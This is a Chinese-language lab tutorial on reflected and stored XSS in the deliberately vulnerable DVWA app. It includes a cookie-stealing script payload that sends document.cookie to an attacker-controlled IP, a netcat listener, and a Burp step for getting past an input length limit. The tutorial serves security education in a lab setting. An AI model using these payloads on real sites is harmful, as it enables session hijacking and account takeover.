本节介绍了DVWA的XSS漏洞模块,让读者理解XSS的利用场景。XSS本身是无法直接利用获取靶机shell的。常用的利用方法是获得高权限用户的cookie,进行冒用。DVWA的XSS本节只能演示利用场景,无法进行完整的渗透。后续章节,会有vulnhub的靶机进行实战练习,理解XSS的利用方法。
目录
1.场景
虚拟机:vmware
攻击主机:kali
IP:192.168.239.142
靶机:Windows10
IP:192.168.239.1
服务:xampp启动的DVWA
2. DVWA的XSS介绍
跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。
XSS漏洞分为三类,分别是反射和存储,和DOM。DVWA这三种类型均有,本节通过DVWA着重介绍反射和存储型的XSS。
本节主要介绍漏洞利用原理,使用DVWA的low级别,如果大家向学习一些防御绕过,网上已经有很多文章讲述,再次不做赘述。
- 反射型XSS
反射攻击是指注入的脚本从服务器反射出来的攻击,错误消息,搜索结果或包含作为请求的一部分发送到服务器的部分或全部输入的任何其他响应。反射的攻击通过其他途径传递给受害者。如电子邮件和恶意网页的URL。
DVWA的反射型XSS,一个输入框,
low.php源码如下,
输入没有做任何过滤,输入<script>alert("xss")</script>,浏览器会执行alert函数,
- 存储型XSS
存储攻击是指注入的脚本永久存储在目标服务器上的攻击,例如在访问者日志,消息论坛,数据库,注释字段等中。受害者在请求存储时从服务器执行恶意脚本。
DVWA的反射型XSS,攻击入口时类似论坛留言的一个输入,
审计low.php源码,空!什么都没有,说明界面对从数据库中读取显示的数据没有做任何限制,
message没有任何显示,界面弹框打印,说明我们上图输入的XSS攻击脚本写入数据库,并且再次切换页面时,攻击脚本执行。
3.XSS的利用
常用的XSS攻击手段和目的有:
1)盗用cookie,获取敏感信息。
2)利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3)利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
4)利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5)在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
由于XSS与上述的几种漏洞不同,属于被动触发,场景难以构造。本节仅演示盗用cookie的利用手段。在后面章节的靶机练习,让大家更深刻体会XSS的利用。
- 反射型XSS的利用
通过以下命令可以获取当前触发XSS漏洞用户的cookie,
<script>new Image().src="http://192.168.239.142/test.php?output="+document.cookie;</script>
在kali上启动nc -lnvp 80进行监听,点击submit,在kali上接收到了当前使用DVWA用户的cookie.
- 存储型XSS的利用
也是用上面的命令,将命令输入message框提交保存,再次访问该网页时会触发。
输入时发现,message限制输入长度太短,没法输入全部的攻击代码,考虑burp绕过此限制,
先将代码进行URL编码,否则直接在burp中替换完整攻击代码不会成功。
将URL编码后的攻击代码替换不完整代码,
刷新网页,获取到了靶机的cookie。
4.总结
本节介绍了XSS的两种形式,以及一种常用的利用方式。因为XSS是一种被动触发的漏洞,没法在单一漏洞下完成完整的渗透过程。后续章节使用靶机xss_and_mysql_file给大家展示XSS漏洞如何利用。